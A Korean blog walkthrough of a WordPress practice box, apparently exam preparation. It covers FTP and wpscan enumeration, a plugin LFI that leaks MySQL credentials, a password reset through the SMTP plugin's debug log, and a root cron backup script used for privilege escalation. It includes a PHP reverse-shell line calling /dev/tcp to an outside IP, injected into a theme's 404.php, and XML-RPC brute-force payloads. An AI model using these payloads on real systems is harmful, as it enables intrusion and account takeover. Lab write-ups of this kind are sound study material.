들어가며

 

 

타깃이 WordPress를 사용하고 있기 때문에

만만히 생각했고, 당연히 첫 번째 initial shell을

획득하는 작업은 그다지 어렵지 않을 거라 생각했다.

 

하지만 막상 들어가 보니 예상과 달랐고

극복해야 하는 장벽이 생각보다 많았으며

당연히 시간도 매우 오래 걸렸다;

 

이런 유의 박스가 시험에 나올 가능성이

충분히 있기에 마인드 셋을 새롭게 해야 할

필요성이 느껴졌고

 

본 박스를 풀기 위한 팁을 정리하며

필요한 마인드 셋을 정리해 본다.

 

 

1. 접근 허용이 되어있는 서비스 접속 후

무언가 이상하면 무엇이 이상한지 파악하고

해결 방안을 찾아야 한다.

> 예. frp anonymous 접속이 되는데

명령어 입력 결과가 안 나온다.

 

 

2. 알려진 방식대로 스캐너를 돌려보는데

결과가 안 나오는 경우, 아닌가 보다 하고

넘어가기보다는 스캔 방식을 변경해 볼 필요가 있고,

결과 도출까지 시간이 오래 걸릴 수 있다.

> 예. WordPress 스캐너를 돌리는데

특정 옵션을 사용해야만 필요한 정보 확인이

가능하고 시간이 오래 걸린다.

 

 

3. 어려운 박스의 경우 무엇보다

유연한 사고가 매우 매우 요구되는데

침투를 위한 힌트가 특정 한 곳이 아닌

여러 곳에 조금씩 나누어져 있을 수 있고,

발견된 힌트들을 모두 확인하고 연결,

조립해야만 문제를 풀 수 있다. 침투 작업이

절대로 한 번에 이루어지지 않으며

인내가 매우 필요한 과정이다.

 

> 예. ftp에서는 디렉터리 구조 및 파일의 존재만 확인이 가능

LFI가 가능한 방법을 찾아야 하고 LFI를 통해 해당 파일 내용 확인

확인된 정보로 특정 서비스에 접속, 접속 후

집중해야 하는 정보가 무엇인지 분간해야 하는데

 

위에서 언급되지 않은 특정 취약점 발견을 못하면

공략이 불가능, 이 취약점은 발견 당시 당장 사용할 수

없는 취약점이라 아닌가 보다 하고 무시하고 넘어가기 일쑤인데

그렇게 되면 본 박스는 영원히 풀 수 없고,

해당 취약점이 어떤 방식의 취약점인지 이해하고 넘어가면

힌트로 작용해 적용 후 돌파구를 찾을 수 있음

 

 

4. 늘 해왔던 방식이 안되는 경우

서비스 상황과 서버 상황을 생각해 봐야

한다.

> 예. 리버스 쉘이 가능한 포트는

특정 몇 개뿐인데 이것을 빨리 눈치채야 하고

왜 그런지 유추해 볼 수 있어야 한다.

 

 

 


 

 

[목차]

 

 

1. Information Gathering

2. Exploitation

3. Privilege Escalation

4. [번외] XMLRPC

 

 

 


 

 

 

1.Information Garhering

: Port Scanning

 

 

Notables are :

- 21 포트 FTP 서버 anonymous 로그인 허용 중이며

vsFTPd 3.0.3을 실행하고 있음 (config는 보통 vsftpd.conf)

 

- 22 포트 SSH 서버 기동 중

- 80 포트 WordPress 웹 서버 기동 중

- 3306 포트 MySQL 서버 기동 중

 

 

 

: ftp

 

 

anonymous 로그인 후

일반적인 active 모드에서

포트 명령어를 보내면 200은 뜨지만

이슈가 발생하는 것으로 보아

 

대상의 방화벽이

FTP 데이터 포트(20)를

차단하고 있는 것 같다.

 

PASV 명령어를 고려하라는 것으로 보아

모드를 passive로 변경한 뒤

명령어를 입력해보면

 

 

정상 조회 가능하며

automysqlbackup이라는

디렉터리가 호스팅 중,

 

들어가 보면

 

몇몇 디렉터리가 나오며

 

흥미로운 파일이 있지만

권한이 없어 다운은 불가능

OK!

 

 

 

 

: Web enum

 

 

> wpscan

 

 

일반적인 스캔으로는

설치되어 있는 플러그인 확인이

불가능하고

 

 

aggressive 방식으로

모든 플러그인(ap) 검색을 진행해야

결과가 나오며

 

(스캔 시간 1시간 34분 ;;)

 

 

> 스캔 결과

 

 

어렵게 검색된 특정 플러그인에 존재하는

취약점을 통해 공격을 시도해보면

 

첫 번째 플러그인 취약점은

공략이 불가능 (easy-smtp-plugin)!

https://blog.nintechnet.com/wordpress-easy-wp-smtp-plugin-fixed-zero-day-vulnerability/

 

하지만 어떤 서비스의

어떤 부분이 취약한지

체크해 두고 넘어간다.

 

 

또 다른 플러그인은 LFI가 가능



 

 

 

2. Exploitation

LFI를 통해 ftp 설정 파일을 확인해보고

 

 

ftp 로그인 후

권한이 없어 확인하지 못했던

파일을 읽어보면

 

 

mysql creds 확인이 가능하고

로그인해보면

 

 

접속 가능하며

권한을 확인해보면

 

 

wordpress DB에

SELECT, LOCK TABLES 권한만 있다.

 

wordpress 테이블을 살펴보면

다음과 같고

 

 

wp_users 내

user_pass는 복호화가 불가능

 

 

 

위에서 찾은 플러그인 중 하나인

smtp 관련 config 정보는

DB 어딘가에 저장되었을 텐데

 

포럼을 찾아보니 smtp 암호는

swpsmtp_option라는 곳에 저장된다고 하고

https://wordpress.org/support/topic/where-is-the-smtp-password/

 

 

swpsmtp_option는

wp_options 테이블 내 어딘가에 저장되는데

우선 wp_options 테이블 구조를 보면

다음과 같고

describe wp_options;
 

 

wp_options

내용 중 swpsmtp_options를 살펴보면

select option_value from wp_options where option_name = 'swpsmtp_options';
 

 

디버깅 기능이 1로 되어 있는 걸로 보아

활성화가 되어있고

 

패스워드 리셋을 요청하게 되면

리셋과 관련된 config 정보가

다시 이곳에 저장된다.

 

 

브라우저에서 리셋하려는

사용자 아이디 입력 후

Get New Password 요청해보면

 

 

smtp config 정보가 저장되는

swpsmtp_options 내

비번 변경과 관련된 로그 파일이 생성되고

 

 

 

접속해보면

 

 

패스워드 reset 경로 확인이 가능

해당 경로에 접속한 뒤

새로운 비번 생성 후 저장해주면

 

 

 

변경한 패스워드를 통해

정상 로그인 성공

 

 

이후 리버스 쉘 절차는

다른 wordpress와 비슷한데

 

 

twentytwenty는 테마는

다음의 이유로 수정이 불가능하여

 

 

twentyninteen 테마에

(1) php-reverse shell 코드를 복사해

(/usr/share/seclists/Web-Shells/WordPress/plugin-shell.php 또는

/usr/share/webshells/php/php-reverse-shell.php)

주입한 뒤 업데이트를 진행하던가

 

 

(2) 기존 404.php 코드 일부에

아래 리버스 쉘을 삽입 후

<?php passthru("/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.49.104/21 0>&1'");die(); ?>
 
 

 

 

리스너 기동 후 404.php 파일을 호스팅 하면

침투 성공!

 


 

3. Privilege Escalation

 

 

힌트 찾기

 

 

wordpress 폴더 아래를 살펴보면

backup_scripts라는 폴더가 있고

나머지는 모두 기본 폴더, 내용은 비었음

 

 

ftp에서 확인 가능했던

automysqlbackup 확인해 보면

 

 

bakcup 후(POSTBACKUP)에는

wordpress 폴더 아래 backup_scripts라는 곳에

backup-post 이름으로 저장되는데

해당 파일은 없는 상황

 

 

 

cron job 확인

 

 

cron.d 하위에 root 권한으로

automysqlbackup 파일이 걸려있고

해당 파일을 살펴보면

 

 

루트 권한으로 매분마다 실행됨.

 

 

정리해 보면

(1) 루트 권한으로

automysqlbackup 명령어가

매분마다 실행되면

(2) 해당 명령어에 등록되어 있는

명령대로 wordpress 폴더 아래

backup_scripts 폴더 아래

backup-post 파일이 실행

 

그럼 리버스 쉘이 실행되도록

backup-post 파일을 생성해 주고

권한 부여한 뒤 리스너 기동하면

root로 쉘 연결이 되겠다.

 

 

 

 

 

 

 

[번외] XML-RPC

 

WordPress를 사용하는 사이트에서는

심심치 않게 xmlrpc.php라는 파일이 노출되어

있는 것을 확인할 수 있는데

XML-RPC란 RPC 프로토콜로

 

WordPress의 XML-RPC 인터페이스는

일반적인 GUI 환경 외부에서 WordPress와

상호작용이 가능하도록 해주는 API이다.

 

일반적으로

로그인 한 뒤에나 수행할 수 있는

포스팅, 포스팅 수정, 포스팅 삭제,

새 파일(포스팅을 위한 이미지 등) 업로드,

코멘트 리스트 확인, 코멘트 수정 등의

기능을 할 수 있도록 해주며

(또한 trackback / pingback 등)

 

알려진 취약점으로는

서비스 거부 공격(DoS) ,

핑백을 통한 DDoS 공격(경유지로 사용),

Brute Force attack 등이 있다.

 

 

 

1. 취약 여부 확인 방법

별도의 차단 정책이 설정되어 있지 않은 경우

접근해보면 다음과 같이 브라우징 되는데

 

 

 

'XML-RPC server accepts POST requests only'

메시지가 확인되면 해당 파일의 기능이 활성화되어 있다는

뜻으로

 

요구대로 request 방식을 POST로 변경해 전송해보면

 

 

서버 응답을 통해

기능이 활성화되어있는 것을 확인할 수 있다.

 

 

 

2. Manual RPC Calls

다음 경로에 들어가 보면

https://codex.wordpress.org/XML-RPC/system.listMethods

XML-RPC 사용법 확인이 가능한데

 

POST 방식으로

system.listMethods 명령어를

methodCall 해보면

 

활성화 중인 methods의

리스트 출력이 가능하다고 한다.

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
 
 

 

리스트 중 하나를 실험해 보면

 

정상 호출이 가능하며

Brute Force 또한 이러한 원리로

가능한데

 

사용자 ID를 wp-scan 등으로 미리 알아낸 뒤

(몰라도 상관없음)

다음의 methodCall을 날려보면

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
 

 

계정 정보가 맞지 않기 때문에 403이 뜨지만

200이 뜰 때까지 계속 대입해 보면 되는 것.

 

wpscan에서 계정 정보를 털기 위해

BruteForce 공격을 시도할 때 바로 이

xmlrpc를 통해 공격이 이루어진다.

 

 

 

728x90

+ Recent posts